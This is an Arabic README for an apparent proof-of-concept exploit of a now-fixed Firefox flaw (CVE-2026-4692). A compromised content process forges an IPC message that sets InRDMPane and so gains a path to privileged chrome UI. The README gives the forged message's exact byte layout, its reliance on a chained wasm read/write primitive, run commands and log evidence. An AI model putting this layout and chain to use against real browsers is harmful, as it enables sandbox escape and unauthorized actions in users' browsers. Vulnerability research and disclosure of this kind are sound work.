
إثبات مفهوم لاستغلال تجاوز تفويض BrowsingContext في فايرفوكس (CVE-2026-4692)، يوضح رسائل IPC مزورة لتعيين InRDMPane وتمكين حقن أحداث اللمس في واجهة المستخدم المميزة.
إثبات مفهوم لغياب فحص التفويض على مزامنة حقول BrowsingContext:
عملية محتوى مخترقة تزوّر رسالة
PContent::CommitBrowsingContextTransaction وتضبط InRDMPane = true
على BrowsingContext الخاص بها على المستوى الأعلى، والعملية الأم تطبّقها.
الهدف: Firefox 149.0a1 nightly @ 2fbc0748c4 (قابل للاستغلال، قبل الإصلاح)، macOS arm64.
تم الإصلاح في Firefox 149 — الخطأ 2017643، الالتزام a9279ce332ed ("منع تبديل علامة RDM
BrowsingContext من عمليات المحتوى")، والذي يضيف:
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // رفض إذا كان من المحتوى
}
InRDMPane يخبر العملية الأم بأن التبويب هو لوحة Responsive Design Mode. تثق
العملية الأم بهذا عند اختبار الاصطدام لأحداث اللمس المُصنّعة
(BrowserParent::RecvDispatchTouchEvent): الأحداث التي تستهدف اسميًا لوحة RDM
يُسمح لها بالوصول إلى واجهة المستخدم المميزة (chrome UI). يمكن لعملية محتوى
مخترقة تضبط العلامة أن ترسل أحداث لمس بإحداثيات سالبة/خارج المحتوى
وتنقر على واجهة المستخدم المميزة دون تفاعل المستخدم (انظر repro.patch الخاص
بالمُبلّغ على الخطأ 2017643، والذي يوضح ذلك تمامًا مع بناء مُرقّع). يوضح هذا
المستودع انتهاك الحدود التمكيني نفسه، مع تزوير رسالة حقيقي — دون أي تصحيحات
لمصدر المتصفح.
PContent::CommitBrowsingContextTransaction — نوع الرسالة 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311)، التوجيه MSG_ROUTING_CONTROL
(INT64_MAX)، العلامات NOT_NESTED (0x001):
u64 bcid sentinel 235406151 ('aContext')
u64 0x0000000000800000 modified bitset word0 (bit 23 = InRDMPane)
u64 0 bitset word1 (BitSet<84> words are size_t = u64!)
u32 1 WriteBool(true)
u32 523371752 sentinel 'aTransaction'
u64 epoch (epoch check is MOZ_ASSERT-only; compiled out here)
u32 132121169 sentinel 'aEpoch'
يعيد التسليم استخدام مسار الإرسال CVE-2026-74939: operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
MessageChannel::Send على قناة PContent، مدفوعًا من JS عبر بدائية استدعاء
wasm funcref (wasm-bytes.js، المرحلة 1 = CVE-2026-2796).
سجل جانب العملية الأم (MOZ_LOG=BrowsingContextSync:5) بعد ./irun:
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 هو BrowsingContext على المستوى الأعلى للنافذة المنبثقة (معرّف مخصص
للطفل، مُنشأ from IPC)، وipc يحدد المعاملة على أنها من أصل محتوى.
على بناء مُصلَح تفشل نفس الرسالة في التحقق من CanSet ويتم رفضها.
المتطلبات الأساسية: بناء Nightly قابل للاستغلال في /Users/sid/gecko-2766/obj-browser،
.venv مع psutil، وخادم التسجيل المرفق قيد التشغيل:
python3 srv.py > /tmp/srv4692.log 2>&1 & # يخدم هذا الدليل على :8781
python3 forge_bctx.py # بناء bctx.bin/bctx.json
./irun # تشغيل + حقن + جمع الأدلة
a9279ce332ed (MFSA 2026-20، Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| الملف | الغرض |
|---|
bctx.html | صفحة PoC: تحسب معرف BC للنافذة المنبثقة في وقت التشغيل، وتُدخله في الرسالة المزوّرة، وترسله |
forge_bctx.py | يبني bctx.bin/bctx.json (ذاتي التحقق)، ثابت تمامًا باستثناء معرف BC |
wasm-bytes.js | بدائيات المرحلة 1: قراءة/كتابة عشوائية، استدعاءات funcref |
mdrive2.py | أداة marionette |
irun | تشغيل مُجهّز: lldb attach + أدلة BrowsingContextSync |
srv.py | خادم ويب لتسجيل صفحات PoC (:8781) |
profile.user.js | تفضيلات ملف تعريف Firefox (fission مفعّل، التفريغ ممكّن) |